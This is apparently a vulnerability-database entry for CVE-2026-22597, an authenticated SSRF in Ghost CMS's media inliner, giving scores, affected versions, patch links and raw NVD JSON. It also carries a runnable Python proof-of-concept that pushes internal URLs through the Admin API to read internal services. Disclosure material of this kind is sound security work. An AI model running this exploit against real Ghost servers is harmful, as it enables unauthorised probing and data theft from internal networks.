Security Vulnerability Report
中文
CVE-2026-22597 CVSS 2.7 LOW

CVE-2026-22597

Published: 2026-01-10 03:15:51
Last Modified: 2026-04-29 01:00:02

Description

Ghost is a Node.js content management system. In versions 5.38.0 through 5.130.5 and 6.0.0 through 6.10.3, a vulnerability in Ghost’s media inliner mechanism allows staff users in possession of a valid authentication token for the Ghost Admin API to exfiltrate data from internal systems via SSRF. This issue has been patched in versions 5.130.6 and 6.11.0.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:* - VULNERABLE
Ghost CMS 5.38.0 - 5.130.5
Ghost CMS 6.0.0 - 6.10.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22597 PoC - Ghost CMS SSRF via Media Inliner # This PoC demonstrates how an authenticated staff user can exploit # the SSRF vulnerability in Ghost's media inliner mechanism import requests import json import sys def exploit_ghost_ssrf(ghost_url, admin_token, target_internal_url): """ Exploit SSRF in Ghost media inliner to access internal resources. Args: ghost_url: Base URL of Ghost instance admin_token: Valid Ghost Admin API token target_internal_url: Internal URL to target (e.g., http://127.0.0.1:8080/admin/api) Returns: Response data from internal service """ # Ghost Admin API endpoint for media inliner endpoint = f"{ghost_url}/ghost/api/admin/inliner/" headers = { "Authorization": f"Ghost {admin_token}", "Content-Type": "application/json" } # Payload exploiting SSRF in media inliner payload = { "url": target_internal_url, "type": "media" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) return { "status_code": response.status_code, "response": response.text, "target_url": target_internal_url } except requests.exceptions.RequestException as e: return {"error": str(e), "target_url": target_internal_url} def main(): if len(sys.argv) < 4: print("Usage: python cve-2026-22597.py <ghost_url> <admin_token> <target_url>") print("Example: python cve-2026-22597.py http://ghost.local:2368 <token> http://127.0.0.1:8080/internal/api") sys.exit(1) ghost_url = sys.argv[1] admin_token = sys.argv[2] target_url = sys.argv[3] print(f"[*] Targeting Ghost instance: {ghost_url}") print(f"[*] Exploiting SSRF to access: {target_url}") result = exploit_ghost_ssrf(ghost_url, admin_token, target_url) print(f"\n[+] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22597", "sourceIdentifier": "[email protected]", "published": "2026-01-10T03:15:50.860", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ghost is a Node.js content management system. In versions 5.38.0 through 5.130.5 and 6.0.0 through 6.10.3, a vulnerability in Ghost’s media inliner mechanism allows staff users in possession of a valid authentication token for the Ghost Admin API to exfiltrate data from internal systems via SSRF. This issue has been patched in versions 5.130.6 and 6.11.0."}, {"lang": "es", "value": "Ghost es un sistema de gestión de contenido Node.js. En las versiones 5.38.0 a 5.130.5 y 6.0.0 a 6.10.3, una vulnerabilidad en el mecanismo de incrustación de medios de Ghost permite a los usuarios del personal en posesión de un token de autenticación válido para la API de administración de Ghost exfiltrar datos de sistemas internos a través de SSRF. Este problema ha sido parcheado en las versiones 5.130.6 y 6.11.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "5.38.0", "versionEndExcluding": "5.130.6", "matchCriteriaId": "54BE11DA-FEBF-4266-A8A2-2EFFC9E964F5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ghost:ghost:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.11.0", "matchCriteriaId": "9EC484AC-A1F0-4C13-BFAB-9DA57116957D"}]}]}], "references": [{"url": "https://github.com/TryGhost/Ghost/commit/15d49131ff4aac3aca8642501c793f01f2bfcbb9", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/TryGhost/Ghost/commit/93add549ccf079d8e28bdb724fbb71a76942ff51", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/TryGhost/Ghost/security/advisories/GHSA-vmc4-9828-r48r", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}